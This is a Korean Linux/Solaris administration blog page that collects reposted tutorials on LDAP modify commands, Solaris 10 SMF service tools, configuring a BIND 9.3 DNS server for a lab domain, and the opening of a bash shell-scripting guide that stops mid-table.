LDAP 이란

os/Linux 2007. 3. 15. 13:50 |
LDAP [ lightweight directory access protocol ]

X.500을 근거로 한 디렉터리 데이터베이스에 접속하기 위한 통신 규약. 미국 미시간 대학에서 개발되었으며 디렉터리 정보의 등록, 갱신, 삭제와 검색 등을 실행할 수 있다. 운영 체계(OS)나 그룹웨어 제품들이 지원해 주고 있다. RFC 2251에 규정된 버전 3이 최신판이며, 통신망을 이용한 이용자 메일 주소나 이용자의 정보를 검색하는 데 주로 사용된다. LDAP 서버에는 넷스케이프 디렉터리 서버와 같은 전용 서버 제품도 있다.


- LDAP란?

LDAP (Lightweight Directory Access Protocol)

LDAP는 조직이나, 개체, 그리고 인터넷이나 기업 내의 인트라넷 등 네트웍 상에 있는 파일이나 장치들과 같은 자원 등의 위치를 찾을 수 있게 해주는 소프트웨어 프로토콜이다. LDAP는 DAP의 경량판(코드의 량이 적다는 의미임)이며, 네트웍 내의 디렉토리 서비스 표준인 X.500의 일부이다. LDAP는 초기 버전에 보안 기능이 포함되어 있지 않기 때문에 가볍다. LDAP는 미국 미시간 대학에서 유래되었으며, 적어도 40개 이상의 회사에 의해 뒷받침되어왔다. 넷스케이프는 자신들의 커뮤니케이터 최신판에 LDAP를 포함하였다. 마이크로소프트는 액티브 디렉토리라고 부르는 제품의 일부로서 LDAP를 포함하였다. 노벨 네트웨어 디렉토리 서비스는 LDAP와 상호 운영된다. 시스코 또한 자신들의 네트워킹 제품에서 LDAP를 지원한다.
(출처 : http://www.terms.co.kr/LDAP.htm)

- umich에 있는 엔트리읽는 코드 :
(우선 모디파이 부터 나보셔야 할 듯..^^)
ldapmodify - ldapmodify 는 ldap_modify(5)와 ldap_add 라이브러리 콜에 대해 쉘이 엑세스할 수 있는 인터페이스로 LDAP 데이터베이스 백엔드의 엔트리를 수정하기 위해 사용한다.

ldapmodify를 호출하기 위한 개요는 다음과 같다(각 옵션의 의미를 알기 위해 ldapmodify man 페이지를 찾아보라)


ldapmodify [-a] [-b] [-c] [-r] [-n] [-v] [-k] [-d debuglevel] [-D binddn] [-W] [-w passwd]
[-h ldaphost] [-p ldapport] [-f file]

ldapadd [-b] [-c] [-r] [-n] [-v] [-k] [-K] [-d debuglevel] [-D binddn] [-w passwd] [-h ldaphost]
[-p ldapport] [-f file]

ldapadd는 ldapmodify 도구에 대해 하드 링크되어 수행되는데 ldapadd가 실행될 때 ldapmodify의 -a (새로운 엔트리를 추가) flag 가 자동적으로 설정된다. ldapmodify는 LDAP 서버에 연결, 바인드해 엔트리를 수정 또는 추가한다. 엔트리 정보는 표준 입력 또는 -f 옵션을 사용시 파일로부터 읽혀진다.

다음은 ldapmodify의 사용 예이다:

/tmp/entrymods 가 존재하고 다음 내용을 갖고 있다고 가정한다:

dn: cn=Modify Me, o=University of Michigan, c=US
changetype: modify
replace: mail
mail: modme@terminator.rs.itd.umich.edu
-
add: title
title: Grand Poobah
-
add: jpegPhoto
jpegPhoto: /tmp/modme.jpeg
-
delete: description
-

명령:
ldapmodify -b -r -f /tmp/entrymods

이는 "Modify Me" 엔트리의 메일 속성 내용을 "modme@terminator.rs.itd.umich.edu"로 대체하고, "Grand Poobah"을 타이틀에 /tmp/modme.jpeg 파일의 내용을 jpegPhoto로 추가하며, description 속성을 완전히 삭제한다.

위와 동일한 수정은 이전 ldapmodify 입력 포맷을 이용하여 수행할 수 있다:

cn=Modify Me, o=University of Michigan, c=US mail=modme@terminator.rs.itd.umich.edu
+title=Grand Poobah
+jpegPhoto=/tmp/modme.jpeg
-description

다음 명령을 실행시킨다: ldapmodify -b -r -f /tmp/entrymods
/tmp/newentry 파일이 존재하고 다음 내용을 갖는다고 가정한다:

dn: cn=Barbara Jensen, o=University of Michigan, c=US
objectClass: person
cn: Barbara Jensen
cn: Babs Jensen
sn: Jensen
title: the world's most famous manager
mail: bjensen@terminator.rs.itd.umich.edu
uid: bjensen

다음 명령을 실행시킨다:
ldapadd -f /tmp/entrymods

/tmp/newentry 파일이 존재하고 다음 내용을 갖는다고 가정한다:
dn: cn=Barbara Jensen, o=University of Michigan, c=US
changetype: delete

다음 명령은 Babs Jensen의 엔트리를 삭제한다:
ldapmodify -f /tmp/entrymods

-f 옵션은 파일(표준 입력대신 파일로부터 수정 정보를 읽는), -b 옵션은 바이너리(입력 파일의 '/'로 시작되는 모든 값들은 바이너리로 해석된다), -r 옵션은 대체(디폴트로 기존 값을 대체한다)를 나타낸다.

참조 : http://blog.naver.com/cf54e/110010693605

Posted by 큰바우
:
솔라리스(Solaris) 10 에서는 기존과 다르게 서비스를 /etc/rc.* 으로 제어하지 않고, 대부분의 서비스를 svc 라는 것으로 제어한다.

아마도 Windows 의 영향을 받은거 같은데, 사용하기가 귀찮아서 별로 좋지는 않다.
그래도 기존의 /etc/init.d 의 실행스크립트보다 이녀석을 사용해야 하기때문에 사용하는 법을 알아두도록 하죠.

우선 사용하는 프로그램의 종류를 살펴보자.

0. Utilties for facility control
svcs : (svc status)현재 서비스들(데몬서비스)의 상태를 보게 해준다.
svcadm : svc 들을 제어한다. 재시작, 설정변경들이 가능하다.
svccfg : svcadm 의 interactive 버전이라고 생각하면 된다.
inetadm : inetd.conf 를 대신하여 inet 관련 서비스들을 제어한다. 당연히 데몬서비스중에 network 관련들만 제어가능하다.


1. svcs
우선 svcs 는 실행해보면 다음과 같은 메시지가 나온다.

# svcs
STATE          STIME       FMRI
lagacy_run     12:51:42    lrc:/etc/rcS_d/S50sk98sol
... (생략)
online         12:51:49    svc:/network/inetd:default


여기서 FMRI (Fault Managed Resource Identifier) 라는 것이 등장한다. 이것은 서비스이름이 주소형식으로 되어있어서 이를 제어하는데 사용되는 URI 이름을 의미한다. 아마도 앞으로 웹주소와 통합하여 브라우저에서 제어하게 해줄것도 같다.

즉 위에서 FMRI 중 svc:/network/inetd:default 를 예를 들면 svc 는 서비스데몬이라는 것을 의미하고 /network/inetd 는 카테고리가 network 분류에 있는 inetd 라는 데몬이라는 것이다. 그리고 끝의 default 는 inetd 의 기본설정에 의한 서비스라는 것이다. 이것은 설정을 여러개 만들어놓고 선택적으로 사용할 수 있게 해주는것 같은데, 귀찮아서 해보지는 않았다.

자 그러면 이제 svc 를 이용해서 한번 ftp 를 보도록 하겠다.

# svcs | grep ftp
online                  12:51:49       svc:/network/ftp:default
# svcs -l ftp
fmri     svc:/network/ftp:default
이름    FTP server
사용    참
상태    online
...
# svcs -x
svc:/application/print/server:default (LP print server)
 상태: disabled(2005년 10월 17일 월요일 오후 12시 51분 36초 이후)
이유: 관리자가 비활성화했습니다.
   참조: http://sun.com/msg/SMF-8000-05
   참조: lpsched(1M)
영향: 2개의 종속 서비스가실행되지 않습니다.  (목록을 보려면 -v 사용)


몇몇 예인데, svcs 에 대해서는 맨페이지를 참고하고, svcs -x 를 해보면 뭔가 이상한 점이 있다면 보고를 자세하게 설명해준다.

이제 svcadm 을 보자.



2. svcadm

# svcadm
사용법: svcadm [-v] [cmd [args ... ]}

        svcadm enable [-rst] <서비스> ...       - 서비스를 활성화하고 온라인으로 설정함
        svcadm disable [-st] <서비스> ...       - 서비스를 비활성화하고 오프라인으로 설정함
        svcadm restart <서비스> ...             - 지정한 서비스를 다시 시작함
        svcadm refresh <서비스> ...             - 서비스 구성을 다시 읽음
        svcadm mark [-It] <상태> <서비스> ...   - 유지 보수 상태로 설정함
        svcadm clear <서비스> ...               - 유지 보수 상태를 해제함
        svcadm milestone [-d] <이정표>  - 서비스 이정표로 진행함

        서비스는 FMRI, 약어 또는 fnmatch(5) 패턴을 사용하여 지정할 수 있습니다.
        svc:/network/smtp:sendmail에 대한 다음 예를 참조하십시오.

        svcadm <cmd> svc:/network/smtp:sendmail
        svcadm <cmd> network/smtp:sendmail
        svcadm <cmd> network/*mail
        svcadm <cmd> network/smtp
        svcadm <cmd> smtp:sendmail
        svcadm <cmd> smtp
        svcadm <cmd> sendmail


간단하게 사용법이 나온다.

종종 mark, clear 를 사용할 이유가 생기는데 서비스를 구성하고, 작동시키기 전까지는 mark 로 해두고 작업하는게 좋다.
그런뒤에 작업이 끝나면 clear 시켜주면 된다. enable/disable 이야 당연히 알테고...

그러면 간단한 예를 보자.

# svcadm restart svc:/network/ftp:default


이건 default 설정으로 되어있는 ftp 를 재시작한다. 시작이 안되어있으면 시작할테고.



3. svccfg
그러면 svccfg 도 보자.

svccfg 는 실행하면 바로 interactive 모드로 작동한다.

# svccfg
svc:> list
system/console-login
...
network/rpc-100068_2-5/rpc_udp
network/ftp/tcp
svc:> select ftp
:properties
default
svc:/network/ftp> listprop
general                        framework
general/entity_stability       astring  Unstable
general/restarter              fmri     svc:/network/inetd:default
inetd                          framework
svc:/network/ftp> editprop
...
svc:/network/ftp> select default
svc:/network/ftp:default> listprop
general                    framework
general/enabled            boolean  true
inetd_start                framework
inetd_start/exec           astring  "/usr/sbin/in.ftpd -l"
svc:/network/ftp:default> end


간단하게 list 는 현재 위치에서 하위 URI를 보여주고, select 는 검색해서 같은 이름을 가지는 URI로 이동한다.
URI 의 이동은 현재 위치가 우선순위가 있고 현재위치에 없으면 하위로 가다가 그래도 없으면 다시 위로 간다.
listprop 는 property를 보여주고, editprop 는 에디터를 띄워서 설정을 파일로 에디팅할 수 있게 한다.
crontab -e 와 비슷하다고 생각하면 된다. editprop 시에는 모두 # 로 comment 처리 되어있는데
바꾸고자 하는 부분은 uncomment 한뒤에 저장하고 나오면 업데이트 된다.



4. inetadm
inetadm 은 svcadm 에서 inet 부분만 축소해놓은 것 같은 인상을 주는데 기능은 비슷하거나 조금 많다.
inetadm 도 실행하면 svcs 처럼 서비스 리스트가 주룩 나온다.

# inetadm
ENABLED   STATE          FMRI
enabled   online         svc:/network/rpc/mdcomm:default
...(생략)...
enabled   online         svc:/network/rpc-100068_2-5/rpc_udp:default
disabled  disabled       svc:/network/ftp/tcp:default
# inetadm -?
사용법:
  inetadm
  inetadm -?
  inetadm -p
  inetadm -l {FMRI | 패턴}...
  inetadm -e {FMRI | 패턴}...
  inetadm -d {FMRI | 패턴}...
  inetadm -m {FMRI | 패턴}... {name=value}...
  inetadm -M {name=value}...


옵션을 지정하지 않으면 inetadm은 inetd의 관리 대상 서비스를 모두 나열합니다.

옵션:
  -?    도움말을 인쇄합니다.
  -p    기본 inetd 등록 정보 값을 모두 나열합니다.
  -l    inet 서비스에 대한 inetd 등록 정보 값을 모두나열합니다.
  -e    inet 서비스를 활성화합니다.
  -d    inet 서비스를 비활성화합니다.
  -m    inet 서비스 inetd 등록 정보 값을 수정합니다.
  -M    기본 inetd 등록 정보 값을 수정합니다.


사용하기 엄청 쉽지 않은가?
list 를 보고자 하면 inetadm -l svc:/network/ftp:default 로 속성을 보고
서비스를 활성화할려면 svc:/network/ftp:default 를 enable 시키기 위해서
inetadm -e svc:/network/ftp:default 라고 해주면 된다.
앞의 -l 로 본 속성값중에 max_copies 를 바꾸고 싶다면
inetadm -m svc:/network/ftp:default max_copies=20 라고 해주면 된다.

# inetadm -l svc:/network/ftp:default
SCOPE    NAME=VALUE
         name="ftp"
         endpoint_type="stream"
         proto="tcp"
         isrpc=FALSE
         wait=FALSE
         exec="/usr/sbin/in.ftpd -l"
         user="root"
default  bind_addr=""
default  bind_fail_max=-1
default  bind_fail_interval=-1
default  max_con_rate=-1
default  max_copies=-1
default  con_rate_offline=-1
default  failrate_cnt=40
default  failrate_interval=60
default  inherit_env=TRUE
default  tcp_trace=FALSE
default  tcp_wrappers=FALSE
# inetadm -m svc:/network/ftp:default max_copies=20
# inetadm -l svc:/network/ftp:default
SCOPE    NAME=VALUE
         name="ftp"
         endpoint_type="stream"
         proto="tcp"
         isrpc=FALSE
         wait=FALSE
         exec="/usr/sbin/in.ftpd -l"
         user="root"
default  bind_addr=""
default  bind_fail_max=-1
default  bind_fail_interval=-1
default  max_con_rate=-1
         max_copies=20
default  con_rate_offline=-1
default  failrate_cnt=40
default  failrate_interval=60
default  inherit_env=TRUE
default  tcp_trace=FALSE
default  tcp_wrappers=FALSE


출처) http://www.sunyzero.com/
참고) http://www.sun.com/bigadmin/content/selfheal/smf-quickstart.html
Posted by 큰바우
:
글쓴이 : 김석 (2004년 10월 21일 오전 03:01) 읽은수: 917 [ 네트워크 ]
-----------------------------------------------
BIND 9.3 를 이용한 DNS 서버 완벽 구성 가이드
-----------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
작성일:2004년 10월 21일
버전:0.2
히스토리: 0.1 2004년 10월 20일 작성
0.2 2004년 10월 21일 작성
변경된점:보다 세부적인 설정에 대한 부연 설명과 키공유에 대한 부분을 강화

작성자: 김석 [solaris2u@hotmail.com]
저작권: 저작권은 본인에게 있음
이 문서를 아래에 언급된 사이트 이외에 임의배포 및 복사, 전제를 금합니다.
오직 아래 언급된 사이트들의 회원들에게만 공개되는 것이며 타 사이트와 커뮤니티에
배포시에는 저작권에 위반으로 법적 제재를 받을 수 있습니다.
타 사이트 및 커뮤니티에 배포하시고자 하는 분들은 메일로 연락주시길 바랍니다.
본 문서의 상업적 이용을 금하며 학습용으로는 언제나 환영합니다.
@@@본 문서는 편의상 존칭을 생략한 문서입니다. 양해 바랍니다.@@@
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

본 문서의 최신버전은 다음의 사이트에서 구하실 수 있습니다.

cafe.naver.com/solatech [솔라리스 테크넷]
www.solarisschool.com [솔라리스 스쿨]
www.howtosolaris.com [하우투솔라리스]
www.freechal.com/sunsolve [프리챌 썬솔브 커뮤니티]

***************************************************************************************
작성자의 변:

솔라리스8 이하의 환경에서 BIND 8.x를 이용하여 구성하는 것과 달리
BIND 9.x 는 보안이 강화되었고 미묘한 부분에서 차이를 가지는데 인터넷에
떠도는 문서나 시중의 교재가 BIND 9를 이용하여 설치하는 것을 너무 장황하게
설명하거나, 실습을 따라서 구성해도 정상적으로 서비스되지 않는 문서가 너무
많아서 정리하였다.

본 문서는 BIND 9를 이용한 구성을 지원하지만 allow-query , allow-update 등 여타
보안에 필요한 요소는 구현하지 않았다.
필자는 간단하게 간편하게 구성하기 위해서 이번 문서에는 추가하지 않았으나
위에 언급한 내용이에외도 많은 보안적 요소가 있으니 보안을 위해 꼭 구성해 주기를 권장한다.
보안을 고려한 DNS에 대한 내용이 필요한 사람들은 www.krcert.or.kr 에서 확인하기를 바란다.


--------------------------------------------------------------------------------------
목표: BIND 9를 이용하여 DNS 를 구성하는 방법을 학습한다.

사용 OS : 솔라리스 9 또는 10
리눅스 8 또는 9 ( 리눅스도 솔라리스와 같은 방법으로 구성이 가능하다.)

하위 버전 OS 인 경우는 www.bind.org 에서 소스를 구하여 컴파일 후 사용하거나
www.sunfreeware.com 를 이용하여 소스설치를 진행한다.

이 문서에서는 컴파일을 통한 설치부터 구성까지 실습해 보도록 한다.

--------------------------------------------------------------------------------------

#######시나리오#######
solaris.co.kr 이라는 도메인의 네임 서버를 구성한다.
실습환경이므로 192.168.102.100 이라는 호스트가 www , mail , ns 를 모두 서비스한다고 전제한다.
소스 설치부터 진행하여 정방향 조회와 역방향 조회가 정확하게 구성되는지 테스트 한다.

--------------------------------------------------------------------------------------

#######솔라리스9에서의 BIND 9.3 설치 하기########

1. 파일 다운로드 받고 컴파일 하기

# gzip -dc bind-9.3.0.tar.gz | tar xvf -
# cd bind-9.3.0
# ./configure --prefix=/bind --with-libtool --with-openssl

--with-libtool : 공유라이브러리 빌드를 가능케 하는 옵션

--with-openssl : DNSSEC을 지원가능토록 함 , openssl이 설치되어 있어야 함

openssl이 설치된 경로가 패스가 없을시에는

--with-openssl=패스

형식으로 기재하여 사용.

# make
# make install
# cd /bind/bin

컴파일이 종료되면 /bind/bin 에 check dig dnssec named nsupdate rndc tests win32 과 같은

디렉토리가 생성되어져 있다.

네임서버 데몬은 named 에 존재한다.


******중요*************************************************************************
/etc/named.conf에서의 키 구성과 rndc.key의 이해가 요구되어진다.
일단, rndc는 네임서비스를 관리하는 데몬으로 /etc/rndc.conf로 구성이 가능하며
/etc/rndc.key에 의해 키 교환을 하게 되어 있다.
/etc/named.conf에 아래와 같이 key 설정 구성을 하거나 include "/etc/rndc.key"; 내용을 이용하여
구성이 가능하다.


key 키명{
algoritm "hmac-md5";
secret "xxxxxxxxxxx";
};

자, 여기서 key 설정 부분을 자세히 보자.
다른 내용은 별도의 문서나 책을 참고하고 일단 secret 영역에 xxxxxxx 이런식으로 표현된 부분은
/bind/bin/dnssec 에 가면 dnssec-keygen 이라는 툴이 있다.
이 툴을 이용하여 공유키를 생성할 수 있는데 사용법은 아래와 같다.

---------------------------------------------------
문법: dnssec-keygen -a hmac-md5 -b 128 -n HOST 키
---------------------------------------------------
따라서 내가 사용할 키가 rndckey 라는 키라면

===================================================
#dnssec-keygen -a hmac-md5 -b 128 -n HOST rndckey
===================================================
이런식으로 사용이 가능하다는 것이다.

BIND 9.x 계열에서는 RSA ,DSA , HMAC-MD5 중에 HMAC-MD5만 지원한다. 따라서 -a 옵션으로 hmac-md5 알고리즘
으로 지정하고 -b 옵션을 이용하여 128비트 암호길이를 지정했다.
키를 더 복잡하게 구성하고자 한다면 최대 512비트까지 지정이 가능하다.
-n HOST 뒤에는 네임서버간에서 사용할 공유키를 입력하면 된다.

dnssec-keygen 도구가 정상적으로 실행되면 Krndckey.+157+14077.key 와 Krndckey.+157+14077.private
두개의 파일이 생성되어진다.

Krndckey.+157+14077.key 을 에디터등으로 오픈하면 다음과 같다.
=====================================================
#vi Krndckey.+157+14077.key

rndckey. IN KEY 512 3 157 Y9iC3cahZ7I3+3NrtlG6nQ==

=====================================================
여기서 Y9iC3cahZ7I3+3NrtlG6nQ== 을 복사하여

key 키명{
algoritm "hmac-md5";
secret "xxxxxxxxxxx";
};


이 부분을 아래와 같이 변경한다.

key 키명{
algoritm "hmac-md5";
secret "Y9iC3cahZ7I3+3NrtlG6nQ==;
};

만일 /etc/rndc.conf 를 include 한다면 위에 key 영역 설정은 불필요하다.

2. /etc/named.conf 구성하기
======================================================
#vi /etc/named.conf

// generated by named-bootconf.pl

options {
directory "/var/named";
/*
* If there is a firewall between you and nameservers you want
* to talk to, you might need to uncomment the query-source
* directive below. Previous versions of BIND always asked
* questions using port 53, but BIND 8.1 uses an unprivileged
* port by default.
*/
// query-source address * port 53;
dump-file "/var/named/named.db"; //덤프파일 위치 지정 , 네임정보갱신시 덤프 생성
statistics-file "/var/named/named.stat";//통계처리 목적으로 생성, 메모리 통계 파일 위치지정
/*
* forward (only|first) forwarders 옵션과 함께 사용.
* forwarders {네임서버 IP ; 네임서버2 IP; ...}; --도메인에 대한 질의를 다른서버로 넘길때
* only : 다른 서버에게 질의를 지정했을시 무응답일때 자신도 응답하지 않는것.
* first : 다른 서버에서 응답이 없을 때 자신이 응답하도록 할 때 설정.
* notify (yes|no) --마스터 서버의 존 정보가 변경되었을 때 존의 2차 서버에 메시지 통보
* 기본값은 yes
*/
};

//
// a caching only nameserver config
//
controls {
inet 127.0.0.1 port 953 allow { localhost; } keys { rndckey; };
};

//key rndckey {
// algorithm "hmac-md5";
// secret "Y9iC3cahZ7I3+3NrtlG6nQ==";
//};

zone "." IN {
type hint;
file "named.ca";
};

zone "localhost" IN {
type master;
file "localhost.zone";
allow-update { none; };
};

zone "0.0.127.in-addr.arpa" IN {
type master;
file "named.local";
allow-update { none; };
};

zone "solaris.co.kr" IN {
type master; //type이 slave 인 경우는 masters { 주 네임서버 IP;}; 를 반드시 추가
file "solaris.zone";
allow-update { none; };
};

zone "102.168.192.in-addr.arpa" IN {
type master;
file "solaris.zone.rev";
allow-update { none; };
};

include "/etc/rndc.key";

======================================================

3.rndc 설정 파일 만들기
solaris10[/bind/bin/rndc] # ./rndc-confgen -k rndckey > /etc/rndc.conf
solaris10[/bind/bin/rndc] # ./rndc-confgen -a -k rndckey
solaris10[/bind/bin/rndc] # cat /etc/rndc.conf
# Start of rndc.conf
key "rndckey" {
algorithm hmac-md5;
secret "Y9iC3cahZ7I3+3NrtlG6nQ==";
};

options {
default-key "rndckey";
default-server 127.0.0.1;
default-port 953;
};
# End of rndc.conf

# Use with the following in named.conf, adjusting the allow list as needed:
# key "rndckey" {
# algorithm hmac-md5;
# secret "kMojgiTutuePjyWROKKXKg==";
# };
#
# controls {
# inet 127.0.0.1 port 953
# allow { 127.0.0.1; } keys { "rndckey"; };
# };
# End of named.conf


solaris10[/bind/bin/rndc] # cat /etc/rndc.key

key "rndckey" {
algorithm hmac-md5;
secret "Y9iC3cahZ7I3+3NrtlG6nQ==";
};




---BIND에서 8과 9의 차이는 보안이 강화되었다는 점이 주목할 점이다.
기존의 BIND 8과는 달리 key를 통한 보안 인증체계를 지니고 있다.

rndc 에 의해 네임서비스를 관리하려면 /etc/rndc.conf에 의해 관리되어진다.


두 파일의 키가 일치하는지 확인한다. 두 키가 일치되어야 추후에 rndc가 정상적으로 구동된다.


4.정방향 조회 영역 만들기
주의! 영역 구성시 BIND8과 BIND9의 큰 차이중에 하나가 바로 $TTL 이다. BIND 8.x에서는
상관없으나 BIND9.x 에서는 반드시 맨위에 기술되어야 한다.
그렇지 않으면 네임서비스는 동작하지 않는다.

#vi /var/named/solaris.zone

$TTL 10M
@ 1D IN SOA ns.solaris.co.kr. root.solaris.co.kr. (
42 ; serial (d. adams)
3M ; refresh
1M ; retry
1W ; expiry
1D ) ; minimum

1D IN NS ns.solaris.co.kr.
1D IN MX 10 mail.solaris.co.kr.
1D IN A 192.168.102.100
ns IN A 192.168.102.100
www IN A 192.168.102.100
mail IN A 192.168.102.100
solaris.co.kr. IN A 192.168.102.100


5.역방향 조회 영역 만들기

#vi /var/named/solaris.zone.rev

$TTL 10M
@ IN SOA ns.solaris.co.kr. root.solaris.co.kr. (
2004101801 ; Serial
28800 ; Refresh
14400 ; Retry
3600000 ; Expire
86400 ) ; Minimum
IN NS ns.solaris.co.kr.
50 IN PTR ns.solaris.co.kr.
50 IN PTR www.solaris.co.kr.
50 IN PTR mail.solaris.co.kr.


6./etc/hosts 와 /etc/resolv.conf 구성 내용 확인 및 변경

#cat /etc/hosts

127.0.0.1 localhost localhost.localdomain
192.168.102.100 ns ns.solaris.co.kr


#vi /etc/resolv.conf

domain solaris.co.kr
search solaris.co.kr
nameserver 192.168.102.100


7.네임서비스 구동하기
패키지를 설치하지 않고 소스를 이용하여 설치한 경우는 named가 /bind/bin/named에 존재하므로
/bin/named 로 링크를 걸어주는 것이 사용상 용이하다.
링크거는 과정등은 생략한다.


#named
#ps -ef |grep named

데몬이 떠 있는지 확인한다.


이름서비스를 구동후 nslookup 이나 dig 같은 툴을 이용하여 테스트 한다.

[root@ns root]# nslookup
Note: nslookup is deprecated and may be removed from future releases.
Consider using the `dig' or `host' programs instead. Run nslookup with
the `-sil[ent]' option to prevent this message from appearing.
> solaris.co.kr
Server: 192.168.102.100
Address: 192.168.102.100#53

Name: solaris.co.kr
Address: 192.168.102.100
> www.solaris.co.kr
Server: 192.168.102.100
Address: 192.168.102.100#53

Name: www.solaris.co.kr
Address: 192.168.102.100
> 192.168.102.100
Server: 192.168.102.100
Address: 192.168.102.100#53

100.102.168.192.in-addr.arpa name = mail.solaris.co.kr.
100.102.168.192.in-addr.arpa name = ns.solaris.co.kr.
100.102.168.192.in-addr.arpa name = www.solaris.co.kr.


정상적으로 구동되어짐을 알 수 있다.

8.rndc 구동하기

/bind/bin/rndc/#rndc reload

를 수행하여 rndc를 구동할 수 있다. 이 때 named는 반드시 구동되어 있어야 한다.


9. 장애 처리 하기

#tail -f /var/adm/messages

로그의 내용을 모니터링하면서 장애처리를 수행한다.
rndc.conf 나 key 에러는 키 생성 부분의 문제이므로 확인 후 다시 시도해 본다.

Posted by 큰바우
:

[펌] Shell programing

os/Linux 2004. 11. 26. 13:41 |
여러 개의 명령을 수행해야 하거나 긴 명령어를 수행할 때 는 일일이 typing을 하는것보다는 스크립트

   로 만들어놓고 실행하는 것이 훨씬 간편하다.

   쉘 스크립트는 쉘에서 사용하는 명령어들을 나열하여 파일로 저장하여 실행하는 것을 말한다.

   아래는 쉘 스크립트의 예이다.

 

    ========================

    date

    ls -al

    =======================

    결과 : date명령을 실행한 후에

    ls -al명령을 실행한 결과를 화면에 출력

<쉘 스크립트 예 >

 

   쉘 프로그램은 스크립트 안에 해당 쉘의 문법을 사용하여 프로그램으로 작성한 것을 말하며, /bin/ksh, /bin/csh, /bin/bash 등 리눅스에서 사용되는 쉘마다 약간 다른 설정값등 약간 다른 문법을 가지고 있다. 여기에서는 가장 많이 쓰이고 있는 /bin/bash쉘의 쉘 프로그래밍 작성법에 대해서 알아볼 것이다.

  

    쉘 프로그램을 잘 활용하면 서버를 관리하는데 많은 도움이 된다.

  

  8.1 쉘 프로그램의 변수

    앞서서 쉘프로그램도 프로그램의 범주안에 들어간다고 했다. 그러므로 쉘 프로그램도 변수를 사용한

    다. 하지만 C언어처럼 미리 변수를 지정해놓을 필요는 없다. 필요할 때 마다 변수를 만들어서 사용하

    면 된다.

    쉘 스크립트의 변수를 사용할 때는 $를 앞에 붙여야 변수라고 인식을 하게 된다. 다만 변수에 값을 대

    입할 때에는 $기호를 사용하지 않는다.

    변수를 생성하는 방법은 특별한 것은 없지만 변수의 첫 자는 영문자(대소문자 구별) 이거나, 숫자 이

    어야 한다.

      ==================  

      #!/bin/sh          <- 프로그램을 해석할 해석기 지정한다.

      manpage="12345" <- 변수에 값을 대입시

      echo "$manpage" .<- 변수를 사용할 때

      ==================

     결과 : 12345


 

   쉘 프로그램에서는 직접 만들어서 사용할 수 있는 변수도 있지만 기본적으로 제공되고 있는 변수가 있다. 이들을 환경변수라 한다.

 

환경 변수

설                        명

$PATH

  서버에 설정되어 있는 패스(path)가 지정된 경로의 값을 가지고 있다.

$LANG

  서버에 설정된 언어의 값을 가지고 있는 변수

$SHELL

  현재 사용자가 사용하고 있는 쉘의 정보를 가지고 있는 변수

$HOME

  현재 사용자의 홈 디렉토리의 경로 정보를 가지고 있는 변수

$MAIL

  메일이 저장된 파일의 경로 정보를 가지고 있는 변수

$MAILCHECK

  새로운 메일을 검사하는 시간 간격을 초 단위로 가지고 있는 변수

$PWD

  현재 디렉토리의 경로 정보를 가지고 있는 변수

$PS1

  사용자의 프롬프트 형태의 정보를 가지고 있는 변수

$IFS

  Internal File Separator로서 input-word-separator로서 사용할 문자

  를 지정한다.

 

   환경 변수는 모두 대문자 이며, 환경변수는 쉘에서 특수한 의미로 해석하는 것이기 때문에 임의로 값

   을 대입하게 될 때에는 주의를 가지고 변경 해야 한다.

   기타 다양한 환경 변수가 있으면 이들은 set 명령을 통해서 확인할 수 있다.

 

특수 변수

설                       명

$0

  실행한 쉘 스크립트의 이름

$ARGV

  <ARGV>로부터 읽어들일 때 현재의 파일 이름

$#

  쉘 스크립트 실행할 때 사용한 인자의 총 개수

$$

  쉘 스크립트가 실행되었을 때의 프로세스 ID (PID)

 

  기타 ($. , $(, $<, $/ 등등의 많은 특수변수가 있지만 perl에서 사용되는 것이거나 자주 사용하지 않는 것이라서 생략하도록 한다.)

 

인자 변수

설                       명

$n

  쉘스크립트를 실행할 때 인자로 적어준 값의 정보를 가지고 있는 변수

  (n = 숫자)

$*

  $n으로 받아온 모든 인자들의 정보를 가지고 있는 변수로서 IFS 변수

  에 의해서 구분된다.

$@

  $* 과 동일하다. (IFS에 의해서 구분 받지 않는다고 하지만 모두 구분

  된다.)

 

 

  cat test.sh

  ================

  #!/bin/sh

  IFS="_"

  echo $*

  ================

  sh test.sh 1 2 3_4 / 5

  결과 : 1 2 3 4 / 5 (“_”는 IFS 구분자로서 인식이 된다)

< 인자 변수와 IFS의 실행 결과 >

 


  8.2 연 산

    쉘프로그래밍은 쉘 명령어만 나열해서 쓰는 것과는 달리 연산식도 계산할수 있다.

    연산식을 쓰는 방법은 반드시 아래의 규칙에 따라야 한다.

  

    1. $((연산식))

    2. $[연산식]

    3. echo 연산식 | bc [-l]

   

     1. 2번은 쉘에서 제공되는 일반적인 연산법이며 오직 정수만을 계산하고 표현할 수가 있다. 하지만 좀더 상세하게 나머지 등의 고급 연산을 하기 위해서는 3번처럼 서버에서 제공되는 bc라는 계산기를 사용하여 계산할 수 있다. bc의 상세한 기능은 man page를 참고 하기 바란다.

 

    ==================

    #!/bin/sh

    i=1

    while [ $i != 10 ];

        do

                echo "$i"

                i=$(($i+1))

        done

    ==================

< 1~9까지 카운터 하는 쉘 프로그램 >

 

     위 계산식은 1-9까지의 숫자를 카운터 하는 프로그램이다. 연산이 어떻게 실제 쉘프로그램에서 쓰여

     지는지를 확인해보기 위해서 아직 알아보지 않은 while문을 써서 나타낸 것이므로 while을 모른다 고

     해서 크게 문제되지 않는다. while문은 다음에 알아보게 될 것이다.


 

  8.3 기본 문법 1

 

문자열 비교 구문

설               명

[ string1 = strings2 ]

  두 string 문자열이 같다면 참

[ string1 != string2 ]

  두 sting문자열이 같이 않다면 참

[ -n string ]

  string 문자열의 길이가 0[null] 아니라면 참

[ -z string ]

  string 문자열의 길이가 0[null] 이라면 참

[ string1 -a string2 ]

  string1과 string2의 결과가 모두 같다면 참 (AND)

[ string1 -o string2 ]

  string1과 string2의 결과 중에 하나라도 참이면 참 (OR)

 

    문자열이 하나의 단일 문자열이 아니고 space(공백)을 가지는 문자열이라면 “ string "으로 묶어 줘야

    한다.

 

산술 비교 구문

설               명

[ A -eq B ]

  두 표현식의 값이 같다면 참

[ A -ne B ]

  두 표현식의 값이 다르면 참

[ A -gt B ]

  두 표현식중에서 A가 크다면 (A > B) 참

[ A -ge B ]

